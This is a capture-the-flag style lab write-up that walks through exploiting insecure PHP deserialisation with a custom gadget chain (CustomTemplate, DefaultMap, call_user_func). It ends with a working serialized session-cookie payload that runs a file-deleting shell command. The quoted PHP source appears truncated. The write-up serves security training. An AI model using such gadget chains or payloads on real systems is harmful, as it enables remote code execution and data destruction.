Developing a custom gadget chain for PHP deserialisation


This lab uses a serialisation-based session mechanism. By deploying a custom gadget chain, you can exploit its insecure deserialisation to achieve remote code execution.

Reproduction and proof of concept

  1. Log in with wiener:peter. The session cookie contains a serialised PHP object.


  1. The website references the file /cgi-bin/libs/CustomTemplate.php (find in Target tab). Get the source code by submitting a request using the .php~ backup file extension.


HTTP/1.1 200 OK
Content-Type: text/plain
Set-Cookie: session=; Secure; HttpOnly; SameSite=None
X-Frame-Options: SAMEORIGIN
Connection: close
Content-Length: 1396


class CustomTemplate {
    private $default_desc_type;
    private $desc;
    public $product;

    public function __construct($desc_type='HTML_DESC') {
        $this->desc = new Description();
        $this->default_desc_type = $desc_type;
        // Carlos thought this is cool, having a function called in two places... What a genius

    public function __sleep() {
        return ["default_desc_type", "desc"];

    public function __wakeup() {

    private function build_product() {
        $this->product = new Product($this->default_desc_type, $this->desc);

class Product {
    public $desc;

    public function __construct($default_desc_type, $desc) {
        $this->desc = $desc->$default_desc_type;

class Description {
    public $HTML_DESC;
    public $TEXT_DESC;

    public function __construct() {
        // @Carlos, what were you thinking with these descriptions? Please refactor!
        $this->HTML_DESC = '<p>This product is <blink>SUPER</blink> cool in html</p>';
        $this->TEXT_DESC = 'This product is cool in text';

class DefaultMap {
    private $callback;

    public function __construct($callback) {
        $this->callback = $callback;

    public function __get($name) {
        return call_user_func($this->callback, $name);

  1. The __wakeup() magic method for a CustomTemplate will create a new Product by referencing the default_desc_type and desc from the CustomTemplate.

  2. The DefaultMap class has the __get() magic method, which will be invoked if you try to read an attribute that doesn’t exist for this object. This magic method invokes call_user_func(), which will execute any function that is passed into it via the DefaultMap->callback attribute. The function will be executed on the $name, which is the non-existent attribute that was requested.

  3. This gadget chain can be exploited to invoke exec(rm /home/carlos/morale.txt) by passing in a CustomTemplate object where:

CustomTemplate->default_desc_type = "rm /home/carlos/morale.txt";
CustomTemplate->desc = DefaultMap;
DefaultMap->callback = "exec"
  1. Follow the data flow in the source code: this will cause the Product constructor to try and fetch the default_desc_type from the DefaultMap object. As it doesn’t have this attribute, the __get() method will invoke the callback exec() method on the default_desc_type, which is set to the shell command.

  2. To solve the lab, Base64 and URL-encode the following serialized object, and pass it into the website via the session cookie:

O:14:"CustomTemplate":2:{s:17:"default_desc_type";s:26:"rm /home/carlos/morale.txt";s:4:"desc";O:10:"DefaultMap":1:{s:8:"callback";s:4:"exec";}}



An attacker will need to log in to wiener:peter; and delete the morale.txt file from Carlos’s home directory.